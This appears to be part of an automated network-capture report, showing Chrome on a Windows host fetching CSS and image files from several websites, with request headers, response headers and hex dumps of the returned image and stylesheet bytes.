2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 8b 92 f2 9c 48 d0 0f 65 4c a9 05 e5 6e 2e 52 05 c1 24 71 e0 2a 27 55 95 33 b6 f0 ae e6 27 b7 11 00 29 6b 36 1a 8d 87 c6 f5 98 47 94 99 46 c9 08 c5 d4 e6 e2 db 92 76 ec c3 1d c6 01 52 93 72 50 75 27 e0 45 66 da cc 4b 2c 51 68 9c 50 ac 7b 2d e4 a5 5c 35 28 03 7e ca 11 4c 15 6a e5 f6 f6 2d ad bf 1e 4c 49 be 64 db 02 b6 94 00 06 ff 00 d2 79 d3 82 03 88 d5 2f 45 c4 5b a8 d1 56 2e 0d 0a 4b 4e 27 4a cf 0e 75 e0 15 8d b6 02 1c 27 ad c1 47 96 54 14 2e 52 7f 75 46 61 20 66 49 59 df 76 a4 b3 9b 55 f8 11 fd b4 b1 2d 24 5a c3 82 a3 24 85 3d 1e cd 8d 46 9b cb f3 55 a2 15 6d 19 ea 93 87 eb d8 20 a1 2a aa 7a a5 7c 36 08 d6 8a 67 b9 45 11 f7 16 41 8d 29 59 50 f6 53 51 ca b5 f5 4b 1c 7a 99 c1 53 68 dc 99 72 de a6 dc 26 df cb 4d 93 60 0e 0a 53 c8 0b 10 9d c6 dd 59 61 f3 ea Data Ascii: HeLn.R$q'U3')k6GFvRrPu'EfK,QhP{-\5(~Lj-LIdy/E[V.KN'Ju'GT.RuFa fIYvU-$Z$=FUm z\|6gEA)YPSQKzShr&M`SYa
2024-09-27 03:51:04 UTC	6250	IN	Data Raw: 6f 5e 80 5e 92 93 75 f0 19 d2 d8 b7 77 7d 15 d4 54 43 af a8 d9 44 a7 57 6f 0a 19 2a 49 34 49 5b 47 81 04 9e 36 ac 73 65 e0 12 ce 49 5b cd 92 ad 4b 08 b9 55 87 84 0e f3 58 94 94 80 43 6f e4 5a b9 48 50 36 ee a5 cc c2 28 0a 2d d9 45 c3 c5 46 c7 b2 a0 4a 90 53 bb 79 f4 b4 d6 58 dc 5d d6 52 d7 1e e2 a0 4d bf 0a 5e f1 a0 57 1d 1e 5c 65 32 7b 99 14 36 e2 11 b6 72 8b 0a bb 8b 98 d2 10 d8 e6 ae 09 34 b8 89 91 00 2b d1 6c 61 4c fc 56 dd e8 37 4d 31 3d 3f db 31 f7 8e e2 8a 99 3b c3 38 d7 9b 09 87 12 0a 61 b0 ae 29 e0 af e6 3d f5 b8 e3 63 8c 68 71 fc 5d a7 f8 2e 55 d5 33 65 97 69 8c 4f 90 1f b4 af 9d 49 ea 46 65 d6 9e 44 59 25 0d a7 c3 a9 b3 7b 91 c2 89 22 c8 34 54 1d 65 9f d5 39 5f aa 79 de 7b 9e 75 f9 fc 6f 4a fa 87 92 7f 8f 95 49 b3 d3 7e aa 75 4f 22 8c df 53 b7 Data Ascii: o^^uw}TCDWo*I4I[G6seI[KUXCoZHP6(-EFJSyX]RM^W\e2{6r4+laLV7M1=?1;8a)=chq].U3eiOIFeDY%{"4Te9_y{uoJI~uO"S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49890	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	558	OUT	GET /zhuye/index.css HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:03 UTC	249	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: text/css Content-Length: 1092 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close Vary: Accept-Encoding ETag: "62a21a39-444" Accept-Ranges: bytes
2024-09-27 03:51:03 UTC	1092	IN	Data Raw: 2f 2a 20 3a 3a 3a 3a 3a 20 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 20 3a 3a 3a 3a 3a 20 2a 2f 0d 0a 0d 0a 2a 20 7b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 7d 0d 0a 61 20 7b 20 63 6f 6c 6f 72 3a 20 72 67 62 28 30 2c 20 30 2c 20 30 29 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 2e 63 6c 65 61 72 20 7b 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 20 7d 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 20 77 69 64 74 68 3a 20 31 31 30 30 70 78 3b 20 7d 0d 0a 2e 74 6f 70 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0d 0a 2e 74 6f 70 20 69 6d 67 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 70 78 3b 20 6d 61 72 67 69 6e Data Ascii: /* ::::: /css/style.css ::::: / { margin: 0px; padding: 0px; }a { color: rgb(0, 0, 0); text-decoration: none; }.clear { clear: both; }.container { margin: auto; width: 1100px; }.top { text-align: center; }.top img { margin-top: 8px; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49888	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	374	OUT	GET /resources/assets/images/about4.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:12 GMT Content-Type: image/jpeg Content-Length: 28554 Last-Modified: Wed, 15 Mar 2023 02:52:48 GMT Connection: close ETag: "64113300-6f8a" Expires: Sun, 27 Oct 2024 03:51:12 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:04 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:04 UTC	12517	IN	Data Raw: d0 14 55 97 30 22 ea db ec 25 c8 8c 7a b2 a4 ed f6 e2 b7 d9 6a 7a 1a 0a ba cb d3 d5 9e 93 29 c5 f6 57 26 b3 91 5a ed 8c 5e 12 3a 7b d9 df b8 75 ed 7a 4a 7a 43 54 94 b0 00 0d b4 3c c4 00 3e 52 44 e7 ef 85 eb 6e 0c 3e 55 11 b7 f1 1b 7d c9 7d ca 54 df 36 ed a5 34 8c 06 9b b7 55 75 d4 52 66 49 58 d1 c3 90 3c 60 b0 ed 78 7d 0a 17 1d 53 17 25 d4 c4 8f 77 ce ee f6 a0 84 ac 8e 64 c5 9f 6c 91 5f 91 b0 53 bd db dc 35 1f 2a 55 ff 00 7a 3b c3 14 12 72 63 07 3b 89 b9 dd 33 0a d1 ca 6a 8e 50 89 38 99 e1 1d c4 dc ad e2 56 15 cf 18 2f 14 59 0a 53 41 7a 5e ea 5f 1b 23 5a 54 65 c8 c4 7d bc 58 6b 91 24 1e 63 bc 17 14 0f 32 16 3d f1 1f 67 90 fe f1 a0 a3 7d e6 79 3f 3a 96 3e 31 df 62 77 f9 1c 0f 91 de 90 04 cb c4 7b e3 bf c7 bf 43 bf c9 a0 25 e3 b8 cf dd db 21 a7 09 0b e3 02 Data Ascii: U0"%zjz)W&Z^:{uzJzCT<>RDn>U}}T64UuRfIX<`x}S%wdl_S5*Uz;rc;3jP8V/YSAz^_#ZTe}Xk$c2=g}y?:>1bw{C%!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49894	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	1118	OUT	GET /resources/assets/images/logob.png HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22e3f7b2dc-b35f-5bbe-aa91-f6d873769564%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409057601%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=e5167a3d-b8ba-5181-acee-14e115d2e457; __51vuft__Je2vxuGiqIpyNLW9=1727409057614
2024-09-27 03:51:03 UTC	254	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/logob.png
2024-09-27 03:51:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49884	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	659	OUT	GET /sichuang/images/2023/06/14/image_1686733336_kbFifD2i.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:03 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 210051 Connection: close x-oss-request-id: 66F62BA7B6896C32398CB317 Accept-Ranges: bytes ETag: "66E4D20080577528212A7D7E108ABCAB" Last-Modified: Mon, 29 Jan 2024 03:33:31 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9342915597450748592 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ZuTSAIBXdSghKn1+EIq8qw== x-oss-server-time: 4
2024-09-27 03:51:03 UTC	15839	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6e 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRbMtEXtSoftwareAdobe ImageReadyqe<niTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: c7 3e 51 f1 6c 19 82 96 20 04 89 f4 60 08 9a 59 d3 86 88 2c 78 a1 46 9a c1 8d c4 22 a4 51 d9 34 6f ee b9 1d 9b d5 b2 86 74 d5 c2 35 21 e6 4c cb 30 82 5b 5c 60 1b 17 26 c7 e6 b5 c9 2e 9a 6c 14 33 7a 6c a9 61 36 5a 59 ad 9b f5 b3 d0 9e 92 66 a0 ff 33 66 01 a5 66 b9 a6 b3 80 8a d4 a2 9e 19 c9 31 6a 91 2b da 35 03 b3 c9 f8 90 ba 65 41 72 4a a5 92 cc 40 e3 b4 a5 92 7a bf aa 75 ce 26 bb ad d6 ab 1c 3b 4c 06 dc 64 b8 11 75 9d 81 66 2c 68 e6 62 b2 bf ae a3 b2 ca 28 c7 c0 47 26 93 13 64 39 23 88 52 9b 24 78 28 d9 48 c9 4c b2 91 67 08 42 9c 50 72 0c 24 ce 92 1c 27 15 29 36 59 65 49 8c 31 63 9d 50 99 6b 29 db 48 28 bd 34 4e 83 e4 01 5f cb 8c b7 76 06 91 fe d6 86 94 72 13 d4 31 eb 7c e2 e1 0c 7f a8 b3 2b 48 4f e7 5a a5 0e b5 a6 1c 2c 90 a4 84 49 79 b8 46 80 5b 25 88 Data Ascii: >Ql `Y,xF"Q4ot5!L0[\`&.l3zla6ZYf3ff1j+5eArJ@zu&;Lduf,hb(G&d9#R$x(HLgBPr$')6YeI1cPk)H(4N_vr1\|+HOZ,IyF[%
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: ce 9f a9 cc 2b 1b b4 9a ad e5 7a 3d 59 1e 0c 7a 6a 65 a5 53 5b 5e 69 d7 db ed a5 c6 dc dc b9 d6 fd df bc eb a5 79 40 b5 8d 02 fa 1e af 96 e9 e4 86 7c 64 d9 e2 75 bd 9a 93 b8 a0 cb 19 16 89 7b 29 3f ee fb b7 6d 9f 5c a8 f0 78 d5 2a 40 5e b5 aa bd c8 9a 06 3a da b7 91 b9 d4 c4 c5 ed 74 60 61 e1 1c 6c db b2 0d 4e 9e 3a 01 7b f6 ef 87 ab ae be 01 66 76 ec 62 80 47 a0 c7 aa 49 58 a0 5e 33 74 03 bf ac 5f 77 d9 5a a6 1b 8c 8c 3a 65 94 43 07 8f c0 d7 bf 71 8c bf eb ed df fb 8f e0 d0 a1 03 39 38 25 80 4c c0 14 72 d0 3a 60 2a 0c 71 d7 35 ff 34 29 01 3f a1 06 76 e0 32 23 6c 4c a4 85 7d ec 3d e3 c0 96 f2 20 90 be bf d3 19 78 8e 69 a6 20 56 5f b0 45 ab 4a 64 3d 6d 31 aa de 20 d6 70 b1 92 72 00 cd 91 06 b4 46 9b 0e c4 26 80 ae 1f 41 9c 8f b4 56 b1 b2 7b ee 7c ac 23 aa Data Ascii: +z=YzjeS[^iy@\|du{)?m\x@^:t`alN:{fvbGIX^3t_wZ:eCq98%Lr:`q54)?v2#lL}= xi V_EJd=m1 prF&AV{\|#
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: f2 0c b9 2c 82 76 63 02 bd ca 07 d1 6e e2 31 18 ac 0c a8 30 20 63 f9 4f 7e c2 a8 20 b8 90 89 02 25 93 00 18 9a 73 15 28 66 18 1e 2b aa 48 8a 34 31 a0 b5 54 d0 45 d0 70 54 89 8a 11 08 96 b8 92 d4 13 28 1c 7b c2 7d 93 f7 47 42 6a 26 e8 35 e1 13 93 0d 37 2a 39 a9 ca 7c d1 27 00 af fc a5 2c 5b 19 0c 5d ee b3 9a 75 bb 55 da 07 d4 56 08 28 53 8b a3 4c 60 90 20 6e 50 39 45 f1 73 b5 b3 b2 b4 46 10 5e b5 aa 55 80 bc 6a 55 fb bb 07 e4 86 ea ed a8 18 36 fb 25 ed a5 23 9d 6f 85 b2 e4 c8 03 16 9a f0 96 bb cb bc c4 4a 59 ed ad db 67 60 74 74 1c 46 c7 c7 40 19 3e 3a 3a 79 37 3d f1 ed dc b9 13 de fa 96 ef e7 fd dc 7d ef 9d b0 6f ff 41 d8 be 6d 06 5a cd 11 a8 d5 b5 fa 00 65 cf 6d 76 9c f9 e3 09 ba 8c 95 b5 e5 96 ca 25 12 25 e2 10 79 3d 8c c0 82 9b 8c dd 7c 8b 22 c9 ec d7 Data Ascii: ,vcn10 cO~ %s(f+H41TEpT({}GBj&57*9\|',[]uUV(SL` nP9EsF^UjU6%#oJYg`ttF@>::y7=}oAmZemv%%y=\|"
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 97 fb 30 9c 9f df 47 5a c8 3a ec 74 a3 1b 1d 20 ef 46 37 8e c9 60 17 8c aa aa 0e d8 3f d7 f9 0c 53 c4 b8 9a 30 0f aa 14 38 c7 0a 16 6a 30 f6 c2 73 7f 00 ff cd 2f fc 1c fc 9d bf fd 0f 05 bc f9 64 79 60 bf dd 43 61 ce 6f 6f 6c c2 ff f7 a5 5f 17 30 b7 7e eb 1a 3c fc c8 47 e1 9e 7b ee 93 46 29 76 3b f1 8e 1c 6c 97 c7 0c 7a 65 c2 2e a0 70 89 8e 59 e5 24 34 e3 06 21 d6 75 e4 9c ec 92 10 6e 33 4d dc f7 ae 07 cf 3c fb 69 78 f6 bb be 5b 80 85 b0 75 23 13 fc 21 ec 9e d5 ae f2 0f 33 fb cc b8 31 f8 de db db 13 e6 98 f5 a5 fb 62 91 76 28 9e c4 26 50 c8 04 84 c8 73 fb fb 3e 28 84 df ef 5e 63 6c d5 0e e4 fd 3c 2d cf cb e3 e5 56 ca 51 23 06 50 a1 38 29 0a b4 96 75 a1 39 2c 4a cb f4 60 5f eb 8b 55 11 60 0b 00 fe cc af fc f6 d7 e0 f1 c7 3f 0e 3b 5b 3b b0 bb c7 fa dc b1 48 Data Ascii: 0GZ:t F7`?S08j0s/dy`Caool_0~<G{F)v;lze.pY$4!un3M<ix[u#!31bv(&Ps>(^cl<-VQ#P8)u9,J`_U`?;[;H
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: c6 b0 e8 4b 4b 4b 70 f7 e5 fb e1 7c bd fc b3 67 cf d5 e0 fb 04 2c 2d af 4a 73 27 5b 1e 32 53 ce fb 47 a4 43 fc 79 fe 5a 11 24 33 0e 64 bb 53 97 84 a1 37 72 23 7f 0e 63 70 05 12 86 dc 01 72 ef eb af d3 4e b9 b7 60 4c cb cb 2b bb 1d 20 ef 46 37 3a 40 de 8d ef ac 41 77 f6 6a 6a 24 dd c5 fa 15 6b 2f 56 df 5c de 7e fb 4d d8 da d8 84 0b e7 2f c3 ef 7d f5 cb f0 07 5f fd 6d 99 32 7e ea c9 a7 99 fc 9d e6 5c 08 ed b6 7e a4 00 2c 4c 48 0a cd a9 2d 8d de 34 24 f0 b9 84 3d db d4 55 92 d1 92 52 e9 7d 89 05 ac 5b 6f 61 f3 af fd da 54 fd ff ec bd 67 90 6d d9 79 1d f6 ed 73 53 e7 1c de eb 97 c3 cc 60 66 00 0c 30 43 10 c1 04 03 44 4a 62 90 49 88 36 45 b3 4a fe 61 b9 cc 72 2a cb b6 28 52 a6 2d cb 52 d9 55 22 f9 c3 76 99 e5 b2 cb 89 26 55 b6 29 cb b6 28 48 36 28 13 44 20 80 Data Ascii: KKKp\|g,-Js'[2SGCyZ$3dS7r#cprN`L+ F7:@Awjj$k/V\~M/}_m2~\~,LH-4$=UR}[oaTgmysS`f0CDJbI6EJar*(R-RU"v&U)(H6(D
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: c3 48 8c 64 25 49 aa 0a 23 ca 14 80 cc 6a 51 df 7d e7 6d 66 c0 de f3 9e 29 6a 36 db d1 e4 e0 97 82 b3 93 5c 08 c0 33 8e dc b9 84 c4 2c a2 e8 83 98 94 05 d8 ad 67 b8 4e e6 a1 22 cf cd ca 8c a3 4c de ad 4e 52 2e 73 53 c6 60 9d 58 e3 ab 5e a5 9d 46 7c a9 8c c2 57 e2 e6 b1 6a a5 c6 72 14 a4 94 6a 5f 69 2d 3b 60 70 ad 80 f0 d1 d1 01 03 a2 c3 83 7d da dd df 63 49 cc fe 01 c2 97 76 18 9c ef ec 68 10 af e5 31 ab 9c 9c 0a 39 0d c0 fc ea da 12 75 5a 1d 06 7c 1d d8 49 4a 2d cf 19 46 52 ea 90 f6 65 47 e8 d2 20 fb b6 6b 19 cc a4 02 f2 13 0a c0 4f 4d cd d1 f4 d4 34 4b 69 e0 34 03 f9 4c 5d 81 2b 87 6c 84 b6 b1 b4 df d3 40 32 63 25 32 76 49 42 86 ae 16 42 14 9c 27 c6 d5 a2 1b fe 2d b4 d5 96 94 2d e9 fa 3a 6f e8 38 50 2e 0b f9 72 59 b8 fe d2 0f 00 a7 62 20 1c 9c 4f b8 8e Data Ascii: Hd%I#jQ}mf)j6\3,gN"LNR.sS`X^F\|Wjrj_i-;`p}cIvh19uZ\|IJ-FReG kOM4Ki4L]+l@2c%2vIBB'--:o8P.rYb O
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 57 29 04 25 ba 73 f7 43 5e 51 68 51 e7 e3 cc d4 14 3d 7d fc 80 ee 74 dd 66 2f f7 bf fe d7 ff 23 de bf a1 4c 65 6c 1e 0b 64 1f 5e 04 ca 68 8f 58 1f 7b 5f ff 0f 10 c6 b6 87 14 5b 22 d2 c0 2d f0 f6 67 f6 3e c9 6a af 70 cc 36 e9 30 a8 5e 55 88 21 b6 fe ec d9 8b aa d8 3b 43 c3 23 63 46 02 a3 fd cf f5 f9 26 cc b9 d0 24 24 f7 48 85 72 8a b2 6f 28 5b f1 57 1e 84 14 31 60 1c b0 7d a0 7e 1c 52 2d c8 6a e0 f6 f4 e8 a3 3b 1c 46 06 6d 38 0a 99 c1 81 31 ba 76 ed 53 2c 49 81 bc 0e 80 18 cd e4 bc a2 40 5a 2e e6 78 75 b3 5d a1 75 b2 f1 1a a8 45 ac 3a 90 f1 60 1f 80 69 1b a4 e4 e9 54 6c 3f 0d de a3 7f 60 50 07 6f 49 9f f1 27 d3 94 2b 8c 65 6a c0 d2 33 12 d9 ab 47 f8 93 5a ed e0 ee d8 c4 e8 4c 21 07 e4 f9 c8 47 0e c8 f3 f1 7c 8e 8e 0e 6e ba dc 5d 5a aa 85 f0 9d 06 9b b3 bd Data Ascii: W)%sC^QhQ=}tf/#Leld^hX{_["-g>jp60^U!;C#cF&$$Hro([W1`}~R-j;Fm81vS,I@Z.xu]uE:`iTl?`PoI'+ej3GZL!G\|n]Z
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 31 83 f8 20 88 2c 18 8d fc 25 19 06 13 18 c0 6e d9 3d a7 4b 77 89 82 22 d1 8e 16 05 9d c4 34 e6 5f 27 18 17 c7 7e 0d 91 15 5c da 08 9b 25 de 52 26 24 1e 09 69 87 8c f7 2e e8 3e 04 b0 c3 26 52 c8 3a d7 a8 7d 07 bd 78 57 67 17 4d 9c 3c c5 fb d7 ca 37 00 44 39 e6 5d 9d 37 f0 52 7f f0 e0 0e 7d f1 37 7f 85 e6 e6 a6 79 df a2 50 ac d6 2a 0c 7c fb 7a 35 4b 6e 8b 1c 91 f0 c4 3e ca be 14 49 90 dd 78 6d 22 f3 97 a1 91 86 d4 d0 48 5b 53 85 41 41 f0 3d 40 9a 06 e6 2a db 16 56 8c 7f f8 36 af 18 a0 f8 58 5b f7 fc c3 15 10 87 6f b8 f6 1c af 91 4e d4 1c e7 10 9f eb 0a 88 4f 4c 4c f2 0a 1c 7e 57 e5 44 4d b3 0a 13 ca 8c 75 0f 79 bc 73 43 a4 ff d6 36 9f 6a b0 5d e4 a2 f8 d9 ec 33 ba 75 eb 1d ba 7b ef 96 2e 92 24 39 79 19 f4 ed d0 f2 a3 c1 f6 67 7e e6 7f ac fd ec ff 1a d0 a9 Data Ascii: 1 ,%n=Kw"4_'~\%R&$i.>&R:}xWgM<7D9]7R}7yP\|z5Kn>Ixm"H[SAA=@V6X[oNOLL~WDMuysC6j]3u{.$9yg~
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 80 5b ca cb 0a 24 39 41 39 14 be 41 a3 86 81 3e 9b b0 4e d2 94 43 01 42 fb e0 d4 e9 73 30 24 80 38 a6 70 ca eb 5a 06 16 d9 9e 3b 00 9e 8d ea 71 8a ad a8 dd 19 79 ad 30 66 00 b6 66 fd 83 69 9d a0 1c 8c 18 0b fa 8a ab 52 54 83 ee a6 94 97 68 0b 57 57 39 45 b9 26 b8 87 19 f6 3a 9b cd d5 a6 a7 e7 76 6b 4a 2f bf b1 59 22 99 de ee de 61 37 36 b1 6e ef 6c d1 f5 d1 54 52 18 3b 5d 18 65 7a f8 2d 97 b2 ba 35 bd 15 0b 55 ce 8a e3 22 f6 73 5f 03 2d 52 d9 07 51 91 9e 4a 26 c1 64 24 80 3c 19 c9 f8 90 8c 7d 31 15 f4 e1 44 f0 4b bf f4 4f e0 f3 3f f3 77 60 63 63 1d 66 a7 66 a1 af bb 00 bc de a4 a6 c3 ee 42 2f 6c 6f dd 80 9d dd 1b 62 02 ca 4a 0d 38 32 df b5 06 85 7f e4 0b dd 30 32 3a 01 d3 b3 0b 02 00 4e d1 44 8d 4b df c8 b8 a1 56 dc 63 e8 b8 6f e2 e4 81 df e1 d8 80 bb f3 Data Ascii: [$9A9A>NCBs0$8pZ;qy0ffiRThWW9E&:vkJ/Y"a76nlTR;]ez-5U"s_-RQJ&d$<}1DKO?w`ccffB/lobJ8202:NDKVco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49887	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	424	OUT	GET /sichuang/images/2023/04/17/image_1681709920_iYSN17Wo.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
